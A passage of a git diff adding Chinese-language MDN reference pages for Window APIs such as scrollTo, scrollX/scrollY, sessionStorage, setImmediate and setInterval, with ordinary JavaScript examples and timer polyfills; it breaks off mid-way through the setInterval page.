滚动到文档中的某个坐标。

+ +

语法

+ +
window.scrollTo(x-coord,y-coord )
+
+window.scrollTo(options)
+ +

参数

+ + + +
    +
  1. top 等同于  y-coord
  2. +
  3. left 等同于  x-coord
  4. +
  5. behavior  类型String,表示滚动行为,支持参数 smooth(平滑滚动),instant(瞬间滚动),默认值auto,实测效果等同于instant
  6. +
+ +
+
+ +

例子

+ +
window.scrollTo( 0, 1000 );
+
+// 设置滚动行为改为平滑的滚动
+window.scrollTo({
+    top: 1000,
+    behavior: "smooth"
+});
+
+ +

注意

+ +

该函数实际上和 window.scroll是一样的。 相对滚动可以参考 window.scrollBywindow.scrollByLines,和 window.scrollByPages

+ +

规范

+ +

{{dom0}}

+ +

浏览器兼容性

+ + + +

{{Compat("api.Window.scrollTo")}}

diff --git a/files/zh-cn/web/api/window/scrollx/index.html b/files/zh-cn/web/api/window/scrollx/index.html new file mode 100644 index 0000000000..8981bee856 --- /dev/null +++ b/files/zh-cn/web/api/window/scrollx/index.html @@ -0,0 +1,34 @@ +--- +title: Window.scrollX +slug: Web/API/Window/scrollX +translation_of: Web/API/Window/scrollX +--- +
+ {{ APIRef() }}
+

概述

+

返回文档/页面水平方向滚动的像素值。

+

语法

+
var x = window.scrollX;
+

参数

+ +

示例

+
// 如果 scrollX 大于 400,则把文档重新滚动到左上角。
+if (window.scrollX > 400) {
+  window.scroll(0,0);
+}
+

备注

+

pageXOffset 属性是 scrollX 属性的别名:

+
window.pageXOffset == window.scrollX; // 总是 true
+

为了跨浏览器兼容性,请使用 window.pageXOffset 代替 window.scrollX。另外,旧版本的 IE(<9)两个属性都不支持,必须通过其他的非标准属性来解决此问题。完整的兼容性代码如下:

+
var x = (window.pageXOffset !== undefined) ? window.pageXOffset : (document.documentElement || document.body.parentNode || document.body).scrollLeft;
+var y = (window.pageYOffset !== undefined) ? window.pageYOffset : (document.documentElement || document.body.parentNode || document.body).scrollTop;
+

规范

+ +

相关链接

+ diff --git a/files/zh-cn/web/api/window/scrolly/index.html b/files/zh-cn/web/api/window/scrolly/index.html new file mode 100644 index 0000000000..7bc49120f2 --- /dev/null +++ b/files/zh-cn/web/api/window/scrolly/index.html @@ -0,0 +1,131 @@ +--- +title: Window.scrollY +slug: Web/API/Window/scrollY +tags: + - API + - Reference + - 参考 + - 属性 +translation_of: Web/API/Window/scrollY +--- +
{{APIRef}}
+ +

概述

+ +

返回文档在垂直方向已滚动的像素值。

+ +

语法

+ +
var y = window.scrollY;
+ + + +

示例

+ +
// 保证刚好滚动到第二页
+if (window.scrollY) {
+  window.scroll(0, 0);  // 重置滚动位置为文档的左上角
+}
+
+window.scrollByPages(1);
+ +

备注

+ +

如果正在使用相对滚动函数,如 {{domxref("window.scrollBy")}}、{{domxref("window.scrollByLines")}} 或 {{domxref("window.scrollByPages")}},则需要使用该属性来检测文档是否已被滚动了某段距离。

+ +

pageYOffset 属性是 scrollY 属性的别名:

+ +
window.pageYOffset == window.scrollY; // 总是返回 true
+ +

为了跨浏览器兼容,请使用 window.pageYOffset 代替 window.scrollY。另外,旧版本IE(<9)两个属性都不支持,必须使用其他的非标准属性。完整的兼容性代码如下:

+ +
var supportPageOffset = window.pageXOffset !== undefined;
+var isCSS1Compat = ((document.compatMode || "") === "CSS1Compat");
+
+var x = supportPageOffset ? window.pageXOffset : isCSS1Compat ? document.documentElement.scrollLeft : document.body.scrollLeft;
+var y = supportPageOffset ? window.pageYOffset : isCSS1Compat ? document.documentElement.scrollTop : document.body.scrollTop;
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSSOM View', '#dom-window-scrolly', 'window.scrollY') }}{{ Spec2('CSSOM View') }} 
+ +
+

Browser compatibility

+ +

{{CompatibilityTable}}

+ + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerMicrosoft EdgeOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/window/self/index.html b/files/zh-cn/web/api/window/self/index.html new file mode 100644 index 0000000000..2d0504ef26 --- /dev/null +++ b/files/zh-cn/web/api/window/self/index.html @@ -0,0 +1,22 @@ +--- +title: Window.self +slug: Web/API/Window/self +translation_of: Web/API/Window/self +--- +

{{ APIRef() }}

+

概述

+

返回一个指向当前 window 对象的引用。

+

语法

+
objRef = window.self
+
+

示例

+
 if (window.parent.frames[0] != window.self) {
+    // 当前对象不是frames列表中的第一个时
+ }
+
+

备注

+

window.self 几乎总是用于上面示例那样的比较,用来判断当前 window 是不是父 frameset 中的第一个 frame。

+

规范

+

HTML5

+
+  
diff --git a/files/zh-cn/web/api/window/sessionstorage/index.html b/files/zh-cn/web/api/window/sessionstorage/index.html new file mode 100644 index 0000000000..d11bc0497a --- /dev/null +++ b/files/zh-cn/web/api/window/sessionstorage/index.html @@ -0,0 +1,113 @@ +--- +title: Window.sessionStorage +slug: Web/API/Window/sessionStorage +tags: + - API + - Web Storage + - WindowSessionStorage + - sessionStorage + - 存储 + - 属性 +translation_of: Web/API/Window/sessionStorage +--- +

{{APIRef()}}

+ +

sessionStorage 属性允许你访问一个,对应当前源的 session {{domxref("Storage")}} 对象。它与 {{domxref("Window.localStorage", "localStorage")}} 相似,不同之处在于 localStorage 里面存储的数据没有过期时间设置,而存储在 sessionStorage 里面的数据在页面会话结束时会被清除。

+ + + +
+

应该注意,存储在sessionStorage或localStorage中的数据特定于页面的协议。也就
+ 是说http://example.comhttps://example.com的sessionStorage相互隔离。

+ +

被存储的键值对总是以UTF-16 DOMString 的格式所存储,其使用两个字节来表示一个字符。对于对象、整数key值会自动转换成字符串形式。

+
+ +

语法

+ +
// 保存数据到 sessionStorage
+sessionStorage.setItem('key', 'value');
+
+// 从 sessionStorage 获取数据
+let data = sessionStorage.getItem('key');
+
+// 从 sessionStorage 删除保存的数据
+sessionStorage.removeItem('key');
+
+// 从 sessionStorage 删除所有保存的数据
+sessionStorage.clear();
+
+
+ +

返回值

+ +

一个 {{domxref("Storage")}} 对象。

+ +

示例

+ +

下面的代码访问当前域名的 session {{domxref("Storage")}} 对象,并使用 {{domxref("Storage.setItem()")}} 访问往里面添加一个数据条目。

+ +
sessionStorage.setItem('myCat', 'Tom');
+ +

下面的示例会自动保存一个文本输入框的内容,如果浏览器因偶然因素被刷新了,文本输入框里面的内容会被恢复,因此写入的内容不会丢失。

+ +
// 获取文本输入框
+let field = document.getElementById("field");
+
+// 检测是否存在 autosave 键值
+// (这个会在页面偶然被刷新的情况下存在)
+if (sessionStorage.getItem("autosave")) {
+  // 恢复文本输入框的内容
+  field.value = sessionStorage.getItem("autosave");
+}
+
+// 监听文本输入框的 change 事件
+field.addEventListener("change", function() {
+  // 保存结果到 sessionStorage 对象中
+  sessionStorage.setItem("autosave", field.value);
+});
+
+ +
+

备注:完整的使用示例可以查看使用 Web Storage API一文。

+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Storage', '#the-sessionstorage-attribute', 'sessionStorage')}}{{Spec2('Web Storage')}}
+ +

浏览器兼容性

+ +

{{Compat("api.Window.sessionStorage")}}
+ 各浏览器支持的 localStorage 和 sessionStorage 容量上限不同。测试页面 detailed rundown of all the storage capacities for various browsers

+ +
+ +
+

Note: 从iOS 5.1之后,移动端的Safari将localStorage数据存储在cache文件中,在操作系统的要求下,会偶尔进行清除,特别是空间不足时。

+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/window/setcursor/index.html b/files/zh-cn/web/api/window/setcursor/index.html new file mode 100644 index 0000000000..d87850c4d3 --- /dev/null +++ b/files/zh-cn/web/api/window/setcursor/index.html @@ -0,0 +1,32 @@ +--- +title: Window.setCursor() +slug: Web/API/Window/setCursor +translation_of: Web/API/Window/setCursor +--- +
{{ ApiRef() }}
+ +
+

{{Non-standard_header}}

+
+ +
 
+ +

概要

+ +

在当前窗口中改变光标(鼠标)的样子

+ +

例子

+ +
function setBusyCursor(enable) {
+  window.setCursor(enable ? "wait" : "auto");
+}
+ +

提示

+ +

鼠标样式不会自动重置,需要主动设置回 auto 属性。

+ +

这个函数方法是 ChromeWindow interface 的一部分. 这个方法在某些网页上不能用, 可以使用 CSS {{cssxref("cursor")}} 代替.

+ +

规范

+ +

这不是任何规范的一部分

diff --git a/files/zh-cn/web/api/window/setimmediate/index.html b/files/zh-cn/web/api/window/setimmediate/index.html new file mode 100644 index 0000000000..12016988ac --- /dev/null +++ b/files/zh-cn/web/api/window/setimmediate/index.html @@ -0,0 +1,54 @@ +--- +title: window.setImmediate +slug: Web/API/Window/setImmediate +tags: + - DOM + - setImmediate +translation_of: Web/API/Window/setImmediate +--- +

{{APIRef("HTML DOM")}}{{Non-standard_header}}

+ +

该方法用来把一些需要长时间运行的操作放在一个回调函数里,在浏览器完成后面的其他语句后,就立刻执行这个回调函数。

+ +
注意: 该方法可能不会被批准成为标准,目前只有最新版本的 Internet Explorer 和Node.js 0.10+实现了该方法。它遇到了 Gecko(Firefox) 和Webkit (Google/Apple) 的阻力.
+ +

语法

+ +
var immediateID = setImmediate(func, [param1, param2, ...]);
+var immediateID = setImmediate(func);
+
+ + + +

所有参数都会直接传给你的函数。

+ +

备注

+ +

{{ domxref("window.clearImmediate") }} 方法可以用来取消通过setImmediate设置的将要执行的语句, 就像 {{ domxref("window.clearTimeout") }} 对应于 {{ domxref("window.setTimeout") }}一样.

+ +

该方法可以用来替代 setTimeout(fn, 0) 去执行繁重的操作(heavy operations

+ +

可以通过以下几种方式来模仿该功能:

+ + + +

所有这些技术都被纳入 robust setImmediate polyfill 中.

+ +

浏览器兼容性

+ +

{{Compat("api.Window.setImmediate")}}

+ +

相关链接

+ +

{{ domxref("window.clearImmediate") }}

+ +

{{ spec("https://dvcs.w3.org/hg/webperf/raw-file/tip/specs/setImmediate/Overview.html", "Specification: Efficient Script Yielding") }}

+ +

Microsoft setImmediate API Demo

diff --git a/files/zh-cn/web/api/window/setinterval/index.html b/files/zh-cn/web/api/window/setinterval/index.html new file mode 100644 index 0000000000..385a19b81b --- /dev/null +++ b/files/zh-cn/web/api/window/setinterval/index.html @@ -0,0 +1,635 @@ +--- +title: window.setInterval +slug: Web/API/Window/setInterval +tags: + - API + - DOM + - 定时 + - 方法 + - 时间 +translation_of: Web/API/WindowOrWorkerGlobalScope/setInterval +--- +
{{ ApiRef("HTML DOM") }}
+ +

{{domxref("WindowOrWorkerGlobalScope")}} 的 setInterval() 方法重复调用一个函数或执行一个代码段,在每次调用之间具有固定的时间延迟。

+ +

在窗口和工作接口上提供的setInterval()方法重复调用函数或执行代码片段,每次调用之间有固定的时间延迟。它返回一个时间间隔ID,该ID唯一地标识时间间隔,因此您可以稍后通过调用clearInterval()来删除它。这个方法是由WindowOrWorkerGlobalScope mixin定义的。

+ +

语法

+ +
var intervalID = scope.setInterval(func, delay, [arg1, arg2, ...]);
+var intervalID = scope.setInterval(code, delay);
+
+ +

参数

+ +
+
func
+
要重复调用的函数。 每经过指定 延迟 毫秒后执行的{{jsxref("函数")}} 。该函数不接受任何参数,也没有返回值。
+
code
+
这个语法是可选的,你可以传递一个字符串来代替一个函数对象,你传递的字符串会被编译然后每个delay毫秒时间内执行一次。这个语法因为存在安全风险所以不被推荐使用。
+
delay
+
是每次延迟的毫秒数 (一秒等于1000毫秒),函数的每次调用会在该延迟之后发生。和setTimeout一样,实际的延迟时间可能会稍长一点。这个时间计算单位是毫秒(千分之一秒),这个定时器会使指定方法或者代码段执行的时候进行时间延迟。如果这个参数值小于10,则默认使用值为10。请注意,真正延迟时间或许更长; 请参考示例: {{SectionOnPage("/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout", "Reasons for delays longer than specified")}} 
+
arg1, ..., argN {{optional_inline}}
+
当定时器过期的时候,将被传递给func指定函数的附加参数。
+
+ +

返回值

+ +

此返回值intervalID是一个非零数值,用来标识通过setInterval()创建的计时器,这个值可以用来作为clearInterval()的参数来清除对应的计时器 。

+ +

值得注意的是,setInterval()setTimeout()共享同一个ID池,并且clearInterval()clearTimeout()在技术上是可互换使用的。但是,我们必须去匹配clearInterval()clearTimeout()对应的id,以避免代码杂乱无章,增强代码的可维护性。

+ +
Note: The delay argument is converted to a signed 32-bit integer. This effectively limits delay to 2147483647 ms, since it's specified as a signed integer in the IDL.
+ +

示例

+ +

例1:基本用法

+ +

下面例子是 setInterval()的基本语法

+ +
var intervalID = window.setInterval(myCallback, 500, 'Parameter 1', 'Parameter 2');
+
+function myCallback(a, b)
+{
+ // Your code here
+ // Parameters are purely optional.
+ console.log(a);
+ console.log(b);
+}
+
+ +

例2:两种颜色的切换

+ +

下面的例子里会每隔一秒就调用函数 flashtext() 一次,直至你通过按下 Stop 按钮来清除本次重复操作的唯一辨识符 intervalID

+ +
<!DOCTYPE html>
+<html>
+<head>
+  <meta charset="UTF-8" />
+  <title>setInterval/clearInterval example</title>
+
+  <script>
+    var nIntervId;
+
+    function changeColor() {
+      nIntervId = setInterval(flashText, 1000);
+    }
+
+    function flashText() {
+      var oElem = document.getElementById('my_box');
+      oElem.style.color = oElem.style.color == 'red' ? 'blue' : 'red';
+      // oElem.style.color == 'red' ? 'blue' : 'red' is a ternary operator.
+    }
+
+    function stopTextColor() {
+      clearInterval(nIntervId);
+    }
+  </script>
+</head>
+
+<body onload="changeColor();">
+  <div id="my_box">
+    <p>Hello World</p>
+  </div>
+
+  <button onclick="stopTextColor();">Stop</button>
+</body>
+</html>
+
+ +

例3:打字机效果

+ +

下面这个例子通过键入、删除和再次键入所有 NodeList 中的符合特定的选择器的字符,以达到打字机的效果。

+ +
+
<!DOCTYPE html>
+<html>
+<head>
+<meta charset="UTF-8" />
+<title>JavaScript Typewriter - MDN Example</title>
+<script>
+function Typewriter (sSelector, nRate) {
+
+  function clean () {
+    clearInterval(nIntervId);
+    bTyping = false;
+    bStart = true;
+    oCurrent = null;
+    aSheets.length = nIdx = 0;
+  }
+
+  function scroll (oSheet, nPos, bEraseAndStop) {
+    if (!oSheet.hasOwnProperty("parts") || aMap.length < nPos) { return true; }
+
+    var oRel, bExit = false;
+
+    if (aMap.length === nPos) { aMap.push(0); }
+
+    while (aMap[nPos] < oSheet.parts.length) {
+      oRel = oSheet.parts[aMap[nPos]];
+
+      scroll(oRel, nPos + 1, bEraseAndStop) ? aMap[nPos]++ : bExit = true;
+
+      if (bEraseAndStop && (oRel.ref.nodeType - 1 | 1) === 3 && oRel.ref.nodeValue) {
+        bExit = true;
+        oCurrent = oRel.ref;
+        sPart = oCurrent.nodeValue;
+        oCurrent.nodeValue = "";
+      }
+
+      oSheet.ref.appendChild(oRel.ref);
+      if (bExit) { return false; }
+    }
+
+    aMap.length--;
+    return true;
+  }
+
+  function typewrite () {
+    if (sPart.length === 0 && scroll(aSheets[nIdx], 0, true) && nIdx++ === aSheets.length - 1) { clean(); return; }
+
+    oCurrent.nodeValue += sPart.charAt(0);
+    sPart = sPart.slice(1);
+  }
+
+  function Sheet (oNode) {
+    this.ref = oNode;
+    if (!oNode.hasChildNodes()) { return; }
+    this.parts = Array.prototype.slice.call(oNode.childNodes);
+
+    for (var nChild = 0; nChild < this.parts.length; nChild++) {
+      oNode.removeChild(this.parts[nChild]);
+      this.parts[nChild] = new Sheet(this.parts[nChild]);
+    }
+  }
+
+  var
+    nIntervId, oCurrent = null, bTyping = false, bStart = true,
+    nIdx = 0, sPart = "", aSheets = [], aMap = [];
+
+  this.rate = nRate || 100;
+
+  this.play = function () {
+    if (bTyping) { return; }
+    if (bStart) {
+      var aItems = document.querySelectorAll(sSelector);
+
+      if (aItems.length === 0) { return; }
+      for (var nItem = 0; nItem < aItems.length; nItem++) {
+        aSheets.push(new Sheet(aItems[nItem]));
+        /* Uncomment the following line if you have previously hidden your elements via CSS: */
+        // aItems[nItem].style.visibility = "visible";
+      }
+
+      bStart = false;
+    }
+
+    nIntervId = setInterval(typewrite, this.rate);
+    bTyping = true;
+  };
+
+  this.pause = function () {
+    clearInterval(nIntervId);
+    bTyping = false;
+  };
+
+  this.terminate = function () {
+    oCurrent.nodeValue += sPart;
+    sPart = "";
+    for (nIdx; nIdx < aSheets.length; scroll(aSheets[nIdx++], 0, false));
+    clean();
+  };
+}
+
+/* usage: */
+var oTWExample1 = new Typewriter(/* elements: */ "#article, h1, #info, #copyleft", /* frame rate (optional): */ 15);
+
+/* default frame rate is 100: */
+var oTWExample2 = new Typewriter("#controls");
+
+/* you can also change the frame rate value modifying the "rate" property; for example: */
+// oTWExample2.rate = 150;
+
+onload = function () {
+  oTWExample1.play();
+  oTWExample2.play();
+};
+</script>
+<style type="text/css">
+span.intLink, a, a:visited {
+  cursor: pointer;
+  color: #000000;
+  text-decoration: underline;
+}
+
+#info {
+  width: 180px;
+  height: 150px;
+  float: right;
+  background-color: #eeeeff;
+  padding: 4px;
+  overflow: auto;
+  font-size: 12px;
+  margin: 4px;
+  border-radius: 5px;
+  /* visibility: hidden; */
+}
+</style>
+</head>
+
+<body>
+
+<p id="copyleft" style="font-style: italic; font-size: 12px; text-align: center;">CopyLeft 2012 by <a href="https://developer.mozilla.org/" target="_blank">Mozilla Developer Network</a></p>
+<p id="controls" style="text-align: center;">[&nbsp;<span class="intLink" onclick="oTWExample1.play();">Play</span> | <span class="intLink" onclick="oTWExample1.pause();">Pause</span> | <span class="intLink" onclick="oTWExample1.terminate();">Terminate</span>&nbsp;]</p>
+<div id="info">
+Vivamus blandit massa ut metus mattis in fringilla lectus imperdiet. Proin ac ante a felis ornare vehicula. Fusce pellentesque lacus vitae eros convallis ut mollis magna pellentesque. Pellentesque placerat enim at lacus ultricies vitae facilisis nisi fringilla. In tincidunt tincidunt tincidunt.
+</div>
+<h1>JavaScript Typewriter</h1>
+
+<div id="article">
+<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam ultrices dolor ac dolor imperdiet ullamcorper. Suspendisse quam libero, luctus auctor mollis sed, malesuada condimentum magna. Quisque in ante tellus, in placerat est. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Donec a mi magna, quis mattis dolor. Etiam sit amet ligula quis urna auctor imperdiet nec faucibus ante. Mauris vel consectetur dolor. Nunc eget elit eget velit pulvinar fringilla consectetur aliquam purus. Curabitur convallis, justo posuere porta egestas, velit erat ornare tortor, non viverra justo diam eget arcu. Phasellus adipiscing fermentum nibh ac commodo. Nam turpis nunc, suscipit a hendrerit vitae, volutpat non ipsum.</p>
+<form>
+<p>Phasellus ac nisl lorem: <input type="text" /><br />
+<textarea style="width: 400px; height: 200px;">Nullam commodo suscipit lacus non aliquet. Phasellus ac nisl lorem, sed facilisis ligula. Nam cursus lobortis placerat. Sed dui nisi, elementum eu sodales ac, placerat sit amet mauris. Pellentesque dapibus tellus ut ipsum aliquam eu auctor dui vehicula. Quisque ultrices laoreet erat, at ultrices tortor sodales non. Sed venenatis luctus magna, ultricies ultricies nunc fringilla eget. Praesent scelerisque urna vitae nibh tristique varius consequat neque luctus. Integer ornare, erat a porta tempus, velit justo fermentum elit, a fermentum metus nisi eu ipsum. Vivamus eget augue vel dui viverra adipiscing congue ut massa. Praesent vitae eros erat, pulvinar laoreet magna. Maecenas vestibulum mollis nunc in posuere. Pellentesque sit amet metus a turpis lobortis tempor eu vel tortor. Cras sodales eleifend interdum.</textarea></p>
+<input type="submit" value="Send" />
+</form>
+<p>Duis lobortis sapien quis nisl luctus porttitor. In tempor semper libero, eu tincidunt dolor eleifend sit amet. Ut nec velit in dolor tincidunt rhoncus non non diam. Morbi auctor ornare orci, non euismod felis gravida nec. Curabitur elementum nisi a eros rutrum nec blandit diam placerat. Aenean tincidunt risus ut nisi consectetur cursus. Ut vitae quam elit. Donec dignissim est in quam tempor consequat. Aliquam aliquam diam non felis convallis suscipit. Nulla facilisi. Donec lacus risus, dignissim et fringilla et, egestas vel eros. Duis malesuada accumsan dui, at fringilla mauris bibStartum quis. Cras adipiscing ultricies fermentum. Praesent bibStartum condimentum feugiat.</p>
+<p>Nam faucibus, ligula eu fringilla pulvinar, lectus tellus iaculis nunc, vitae scelerisque metus leo non metus. Proin mattis lobortis lobortis. Quisque accumsan faucibus erat, vel varius tortor ultricies ac. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed nec libero nunc. Nullam tortor nunc, elementum a consectetur et, ultrices eu orci. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque a nisl eu sem vehicula egestas.</p>
+</div>
+</body>
+</html>
+
+ +

查看示例效果,亦可参考:clearInterval()

+ +

回调参数

+ +

如前所述,Internet Explorer 9及以下版本不支持在setTimeout()setInterval()中向回调函数传递参数。下面的IE专用代码演示了一种克服这种限制的方法。使用时,只需将以下代码添加到你的脚本顶部即可。

+ +
/*\
+|*|
+|*|  IE-specific polyfill that enables the passage of arbitrary arguments to the
+|*|  callback functions of javascript timers (HTML5 standard syntax).
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/Web/API/window.setInterval
+|*|  https://developer.mozilla.org/User:fusionchess
+|*|
+|*|  Syntax:
+|*|  var timeoutID = window.setTimeout(func, delay[, arg1, arg2, ...]);
+|*|  var timeoutID = window.setTimeout(code, delay);
+|*|  var intervalID = window.setInterval(func, delay[, arg1, arg2, ...]);
+|*|  var intervalID = window.setInterval(code, delay);
+|*|
+\*/
+
+if (document.all && !window.setTimeout.isPolyfill) {
+  var __nativeST__ = window.setTimeout;
+  window.setTimeout = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+    var aArgs = Array.prototype.slice.call(arguments, 2);
+    return __nativeST__(vCallback instanceof Function ? function () {
+      vCallback.apply(null, aArgs);
+    } : vCallback, nDelay);
+  };
+  window.setTimeout.isPolyfill = true;
+}
+
+if (document.all && !window.setInterval.isPolyfill) {
+  var __nativeSI__ = window.setInterval;
+  window.setInterval = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+    var aArgs = Array.prototype.slice.call(arguments, 2);
+    return __nativeSI__(vCallback instanceof Function ? function () {
+      vCallback.apply(null, aArgs);
+    } : vCallback, nDelay);
+  };
+  window.setInterval.isPolyfill = true;
+}
+
+ +

另一种方式是使用匿名函数调用你的回调函数,但是这种方式开销较大。例如:

+ +
var intervalID = setInterval(function() { myFunc('one', 'two', 'three'); }, 1000);
+ +

还有一种方式是使用 function's bind. 例如:

+ +
var intervalID = setInterval(function(arg1) {}.bind(undefined, 10), 1000);
+ +

{{h3_gecko_minversion("Inactive tabs", "5.0")}}

+ +

Starting in Gecko 5.0 {{geckoRelease("5.0")}}, intervals are clamped to fire no more often than once per second in inactive tabs.

+ +

"this" 的问题

+ +

当你给 setInterval() 传递一个方法或者函数的时候,this 值的绑定会存在一些问题。  这个问题在JavaScript 参考 进行了详细解释。

+ +

解释

+ +

Code executed by setInterval() runs in a separate execution context than the function from which it was called. As a consequence, the this keyword for the called function is set to the window (or global) object, it is not the same as the this value for the function that called setTimeout. See the following example (which uses setTimeout() instead of setInterval() – the problem, in fact, is the same for both timers):

+ +
myArray = ['zero', 'one', 'two'];
+
+myArray.myMethod = function (sProperty) {
+    alert(arguments.length > 0 ? this[sProperty] : this);
+};
+
+myArray.myMethod(); // prints "zero,one,two"
+myArray.myMethod(1); // prints "one"
+setTimeout(myArray.myMethod, 1000); // prints "[object Window]" after 1 second
+setTimeout(myArray.myMethod, 1500, "1"); // prints "undefined" after 1,5 seconds
+// passing the 'this' object with .call won't work
+// because this will change the value of this inside setTimeout itself
+// while we want to change the value of this inside myArray.myMethod
+// in fact, it will be an error because setTimeout code expects this to be the window object:
+setTimeout.call(myArray, myArray.myMethod, 2000); // error: "NS_ERROR_XPC_BAD_OP_ON_WN_PROTO: Illegal operation on WrappedNative prototype object"
+setTimeout.call(myArray, myArray.myMethod, 2500, 2); // same error
+
+ +

As you can see there are no ways to pass the this object to the callback function in the legacy JavaScript.

+ +

一个可能的解决方案

+ +

A possible way to solve the "this" problem is to replace the two native setTimeout() or setInterval() global functions with two non-native ones that enable their invocation through the Function.prototype.call method. The following example shows a possible replacement:

+ +
// Enable the passage of the 'this' object through the JavaScript timers
+
+var __nativeST__ = window.setTimeout, __nativeSI__ = window.setInterval;
+
+window.setTimeout = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+  var oThis = this, aArgs = Array.prototype.slice.call(arguments, 2);
+  return __nativeST__(vCallback instanceof Function ? function () {
+    vCallback.apply(oThis, aArgs);
+  } : vCallback, nDelay);
+};
+
+window.setInterval = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+  var oThis = this, aArgs = Array.prototype.slice.call(arguments, 2);
+  return __nativeSI__(vCallback instanceof Function ? function () {
+    vCallback.apply(oThis, aArgs);
+  } : vCallback, nDelay);
+};
+ +
These two replacements also enable the HTML5 standard passage of arbitrary arguments to the callback functions of timers in IE. So they can be used as non-standard-compliant polyfills also. See the callback arguments paragraph for a standard-compliant polyfill.
+ +

New feature test:

+ +
myArray = ['zero', 'one', 'two'];
+
+myArray.myMethod = function (sProperty) {
+    alert(arguments.length > 0 ? this[sProperty] : this);
+};
+
+setTimeout(alert, 1500, 'Hello world!'); // the standard use of setTimeout and setInterval is preserved, but...
+setTimeout.call(myArray, myArray.myMethod, 2000); // prints "zero,one,two" after 2 seconds
+setTimeout.call(myArray, myArray.myMethod, 2500, 2); // prints "two" after 2,5 seconds
+
+ +

Another, more complex, solution for the this problem is the following framework.

+ +
JavaScript 1.8.5 introduces the Function.prototype.bind() method, which lets you specify the value that should be used as this for all calls to a given function. This lets you easily bypass problems where it's unclear what this will be, depending on the context from which your function was called. Also, ES2015 supports arrow functions, with lexical this allowing us to write setInterval( () => this.myMethod) if we're inside myArray method.
+ +

MiniDaemon:一个用于管理定时器的小框架

+ +

In pages requiring many timers, it can often be difficult to keep track of all of the running timer events. One approach to solving this problem is to store information about the state of a timer in an object. Following is a minimal example of such an abstraction. The constructor architecture explicitly avoids the use of closures. It also offers an alternative way to pass the this object to the callback function (see The "this" problem for details). The following code is also available on GitHub.

+ +
For a more complex but still modular version of it (Daemon) see JavaScript Daemons Management. This more complex version is nothing but a big and scalable collection of methods for the Daemon constructor. However, the Daemon constructor itself is nothing but a clone of MiniDaemon with an added support for init and onstart functions declarable during the instantiation of the daemon. So the MiniDaemon framework remains the recommended way for simple animations, because Daemon without its collection of methods is essentially a clone of it.
+ +

minidaemon.js

+ +
+
/*\
+|*|
+|*|  :: MiniDaemon ::
+|*|
+|*|  Revision #2 - September 26, 2014
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/Web/API/window.setInterval
+|*|  https://developer.mozilla.org/User:fusionchess
+|*|  https://github.com/madmurphy/minidaemon.js
+|*|
+|*|  This framework is released under the GNU Lesser General Public License, version 3 or later.
+|*|  http://www.gnu.org/licenses/lgpl-3.0.html
+|*|
+\*/
+
+function MiniDaemon (oOwner, fTask, nRate, nLen) {
+  if (!(this && this instanceof MiniDaemon)) { return; }
+  if (arguments.length < 2) { throw new TypeError('MiniDaemon - not enough arguments'); }
+  if (oOwner) { this.owner = oOwner; }
+  this.task = fTask;
+  if (isFinite(nRate) && nRate > 0) { this.rate = Math.floor(nRate); }
+  if (nLen > 0) { this.length = Math.floor(nLen); }
+}
+
+MiniDaemon.prototype.owner = null;
+MiniDaemon.prototype.task = null;
+MiniDaemon.prototype.rate = 100;
+MiniDaemon.prototype.length = Infinity;
+
+  /* These properties should be read-only */
+
+MiniDaemon.prototype.SESSION = -1;
+MiniDaemon.prototype.INDEX = 0;
+MiniDaemon.prototype.PAUSED = true;
+MiniDaemon.prototype.BACKW = true;
+
+  /* Global methods */
+
+MiniDaemon.forceCall = function (oDmn) {
+  oDmn.INDEX += oDmn.BACKW ? -1 : 1;
+  if (oDmn.task.call(oDmn.owner, oDmn.INDEX, oDmn.length, oDmn.BACKW) === false || oDmn.isAtEnd()) { oDmn.pause(); return false; }
+  return true;
+};
+
+  /* Instances methods */
+
+MiniDaemon.prototype.isAtEnd = function () {
+  return this.BACKW ? isFinite(this.length) && this.INDEX < 1 : this.INDEX + 1 > this.length;
+};
+
+MiniDaemon.prototype.synchronize = function () {
+  if (this.PAUSED) { return; }
+  clearInterval(this.SESSION);
+  this.SESSION = setInterval(MiniDaemon.forceCall, this.rate, this);
+};
+
+MiniDaemon.prototype.pause = function () {
+  clearInterval(this.SESSION);
+  this.PAUSED = true;
+};
+
+MiniDaemon.prototype.start = function (bReverse) {
+  var bBackw = Boolean(bReverse);
+  if (this.BACKW === bBackw && (this.isAtEnd() || !this.PAUSED)) { return; }
+  this.BACKW = bBackw;
+  this.PAUSED = false;
+  this.synchronize();
+};
+
+
+ +
MiniDaemon passes arguments to the callback function. If you want to work on it with browsers that natively do not support this feature, use one of the methods proposed above.
+ +

语法

+ +

var myDaemon = new MiniDaemon(thisObject, callback[, rate[, length]]);

+ +

说明

+ +

Returns a JavaScript Object containing all information needed by an animation (like the this object, the callback function, the length, the frame-rate).

+ +

参数

+ +
+
thisObject
+
The this object on which the callback function is called. It can be an object or null.
+
callback
+
